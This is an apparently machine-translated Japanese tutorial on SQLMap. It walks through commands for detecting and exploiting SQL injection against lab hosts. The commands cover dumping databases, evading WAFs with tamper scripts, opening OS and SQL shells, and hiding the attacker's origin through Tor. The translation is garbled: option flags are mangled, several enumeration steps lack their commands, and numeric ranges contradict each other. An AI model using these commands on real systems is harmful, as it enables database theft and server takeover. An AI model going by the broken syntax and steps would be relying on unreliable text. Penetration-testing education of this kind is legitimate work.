SQLMap ツールは、すべての侵入テスト担当者のツールボックスで見つけることができるものです。 SQLMap は、OWASP のトップ 10 脆弱性リストのトップを占める SQL インジェクション脆弱性を悪用する際に、最も人気があり強力なツールの 1 つです。 SQL インジェクションの脆弱性を確認することから、データベース名、テーブル、カラムを抽出し、完全なシステムを取得することまで、さまざまな目的に使用できます。
この記事では、SQL インジェクションのさまざまなシナリオを悪用する際に役立つ、異なるタイプの SQLMap コマンドを紹介します。
SQLMap は次のリンクからダウンロードできます:
Windows
Linux: git clone -depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
デモのために、私は Vulnhub からこのマシンを使用しています。
GETとPOSTリクエストでのSQLMapツールの基本的な使い方を見てみましょう。
sqlmap -u http://site-to-test.com/test.php?id=1 -p id
sqlmap -u http://site-to-test.com/test.php?id=1*
-u.SqlMapの基本的な使用例です。 スキャンするURL
-p: スキャンするパラメータ
*: スキャンするパラメータ(-pスイッチがない場合)
POST Request
SQLMapツールでスキャンするPOSTリクエストボディに渡されるデータを提供することができます。
sqlmap -u http://site-to-test.com/admin/index.php -data=”user=admin&password=admin” -p user
-data = POST data
別の方法は、ファイルに Burp 要求をコピーして SQLMap に同じデータを渡すことです。
sqlmap -r <path to the request file>
少し進めて、SQLMap ツールが提供する他のオプションを理解することにしましょう。
Scanning POST Login Pages
ポスト ログイン ページは、GET/POST リクエストの HTTP ヘッダーで渡される Cookie ヘッダーによって承認されます。 ポスト ログイン ページをスキャンするには、有効な Cookie を SQLMap に提供する必要があります。
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -cookie=”cookie value”
/admin/index.php?id=1 はポスト ログイン ページです。
同様に、多くのページは User-Agent または Referrer ヘッダーによって保護されています。 同じものをコマンドに含めることができます:
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -user-agent=infosec
sqlmap -u http://192.168.202.163/admin/index.php?id=1 -referer= http://192.168.202.163/admin/index.php
さらに、 -random-agent オプションで user-agent header をランダム化することが可能です。
CRAWL
Crawl は SQLMap ツールがウェブサイトを、ルートの位置からクロールできるようにするための重要なオプションです。 クロールする深さはコマンドで定義できます。
sqlmap -u http://192.168.202.160/ -crawl=1
-crawl: クロールする深さを定義します。 (例: 2 と定義すると、2つのディレクトリまでクロールします)
任意のページをクローラーの範囲から除外したい場合は、-crawl-exclude で定義できます。 これは、ログイン後のページをクロールするときに便利なオプションです。
sqlmap -u http://192.168.202.163/ -crawl=3 -cookie=”cookie value” -crawl-exclude=”logout”
このコマンドは、ウェブサイトを最大3ディレクトリまでクロールして、「ログアウト」キーワードが存在するURLは除外するようにします。
以下に示すように、SQLMapはWebサイトをクロールしましたが、ログアウトURLを除外しています。
同じコマンドを -crawl-exclude オプションなしで実行してみましょう。
以下のように -crawl-exclude を定義しない場合、SQLMap がログアウト URL をクロールしていることがわかります。 これにより、既存のセッションが (ログアウトにより) 無効になり、スキャンが完了しません。
SQLMap Through Proxy
私たちは、要求を通過させるプロキシの詳細を定義することができます。 Burp のようなプロキシツールを介してリクエストを渡す場合、Burp Suite を起動し、ポート 8080 の localhost で実行するように設定します。 ここで、次の SQLMap コマンドを使用します。
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″
ここで、サーバー上で OrderBy や Union といった sqlinjection キーワードがブラックリストされているシナリオについて考えてみてください。 キャメルケースのテクニックを使用することで、これらのタイプの実装を回避することができます。 SQLMap を使用して Burp にトラフィックを送信し、Burp の「一致と置換」機能を使用して上記の制限を回避します。
一致と置換機能は Burp の「オプション」タブ、「プロキシ」タブで見つけることができます。 もしそうなら、それを “UnIoN” に置き換えます。
アプリケーションがプロキシ サーバーを通してのみアクセスできるシナリオでは、次のコマンドを使用して同じものを定義できます:
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id -proxy=”http://localhost:8080″ -proxy-cred=username:password
Batch
batch コマンドは非インタラクティブ セッションに使用されます。 何かをスキャンしようとするとき、SQLMap はスキャン中に入力を求めることがあります。たとえば、クロール機能を使っているとき、ツールは特定された URL をスキャンするかどうかをユーザーに尋ねます。 コマンドに -batch が定義されている場合、ツールはユーザーに尋ねずに処理を進めるためにデフォルト値を使用します。
Form
フォーム フィールドのあるページ URL(ログイン ページなど)は、ページを解析して、識別したフィールドをユーザーがテストできるように -form オプションと一緒に提供することが可能です。
現在、多数のフォーム フィールドを持つページは、-form と -batch オプションを一緒に使用して効果的にテストすることができます。 これは、ページを解析し、フォーム フィールドをチェックし、ユーザーの代わりに自動的に入力を提供します。
アプリケーション全体をスキャンする必要がある場合、form および switch とともに crawl オプションを使用できます。 これにより、全体的なテスト時間が短縮されます。 これは、結果の精度に影響を与える可能性があるため、高い値に保つべきではありません。
リスクとレベル
リスクは、ツールで使用するペイロードの種類を指定できます。 デフォルトでは値 1 を使用し、レベル 3 まで設定可能です。 レベル3は最大で、いくつかの重いSQLクエリを含みます。
レベルは、実行されるチェック/ペイロードの数を定義します。 最大である 5 は、スキャンに多数のペイロードを含みます。
デフォルトの設定で SQLMap がインジェクションを検出できない場合、リスクとレベルを上げることが推奨されます。 値は 1 から 6 までです。
Database Enumeration
SQLMap が主に SQL インジェクションの悪用に使われることは知っているので、SQL インジェクションに対して脆弱なアプリケーションを介してデータベースを列挙するコマンドをいくつか見ていきましょう。 このオプションは、データベースを列挙するために使用されます。
2. 今私たちは、データベース名を持っています。 データベース「photoblog」のテーブルを取り出すには、次のコマンドを実行します:
3.データベース「photoblog」のテーブルを取り出すには、次のコマンドを実行します。 テーブル「users」から列の詳細を抽出するには、次のコマンドを実行します:
4. テーブル「users」のデータをダンプするには、-dumpコマンド:
5. 現在のデータベースユーザーを特定する:
6. 現在のデータベース名を特定する:
7. 特権、ロール、および現在の DB ユーザーが DB 管理者であるかどうかを識別する:
Bypassing WAF Using Tamper Script
多くの場合、アプリケーションが Web アプリケーション ファイアウォール (WAF) の背後に保持されるシナリオを目にすることができます。 サイトが WAF で保護されているかどうかを確認するには、次のオプションを使用します。
-identify-waf
WAF が識別されたら、WAF で保護されたアプリケーションを攻撃するために、改ざんスクリプトを使用することができます。 改ざんスクリプトは、WAFの検出を逃れるためにリクエストを変更することができます。 スクリプトは、/usr/share/sqlmap/tamper/ディレクトリにあります。
システムコマンドの実行
現在のデータベースユーザーがDBA権限を持っていれば、OS/システムレベルのコマンドを実行することができます。 Linuxサーバーの場合:
sqlmap -u http://192.168.202.162/cat.php?id=1 -os-shell
Windowsサーバーの場合:
sqlmap -u http://192.168.202.162/cat.php?id=1 -os-shell
システムレベルのコマンドを実行する。
sqlmap -u http://192.168.202.162/cat.php?id=1 -os-cmd <cmd>
Running SQL Queries
次のコマンドを実行すると、データベースで SQL 文を実行できます:
sqlmap -u 192.168.202.164/cat.php?id=2 -sql-shell
その他のオプション
その他のオプションには、次のようなものがあります。 Basic、NTLM、Digest などの HTTP 認証で保護されたページをスキャンする:
sqlmap -u http://example.com/admin.aspx -auth-type Basic -auth-cred “admin:admin”
2. 鍵ベースの認証で保護されたページをスキャンする
sqlmap -u http://example.com/admin.aspx -auth-file=<path to PEM certificate or private key file>
3.認証されたページをスキャンするには、PEM 証明書またはプライベート キー ファイルにアクセスします。 攻撃IPをランダム化する(WAFの検知など、攻撃元を隠すとIPの追跡が困難になる場合に有効です)。
デフォルトのTor匿名ネットワークを使用する場合:
sqlmap -u http://example.com/admin.aspx -tor
Torポートを定義する場合:
sqlmap -u http://example.com/admin.aspx -tor-port=<tor proxy port>
4.攻撃IPをランダムにする。 各HTTPリクエストの間に遅延が必要な場合:
sqlmap -u http://example.com/admin.aspx -delay=1 #1 second delay
5. ページが CSRF トークンで保護されている場合、同じものをコマンドに含めることができます:
sqlmap -u http://example.com/admin.aspx -csrf-token=<csrf token>
セカンド オーダー SQL インジェクション。 このタイプのSQLインジェクションでは、SQLペイロードはデータベースに保存され、後で別のページにアクセスする際に取り出されます。 私たちは、インジェクションのたびに SQLMap ツールに要求される URL を提供します。
sqlmap -r /root/Desktop/Burp.txt -second-order “http://target/vulnerbalepage.php”
この Burp.txt を使用して、SQLMap ツールにこの注入をテストするように指示することができます。
-second-order “URL “には、インジェクションが実行されるたびにSQLMapによってアクセスされるURLが含まれます